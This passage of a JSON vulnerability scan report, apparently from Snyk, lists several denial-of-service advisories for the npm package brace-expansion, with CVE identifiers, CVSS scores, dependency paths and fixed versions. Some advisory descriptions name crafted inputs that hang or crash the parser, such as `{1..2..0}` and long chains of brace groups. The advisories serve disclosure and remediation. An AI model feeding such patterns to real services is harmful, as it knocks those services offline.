Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
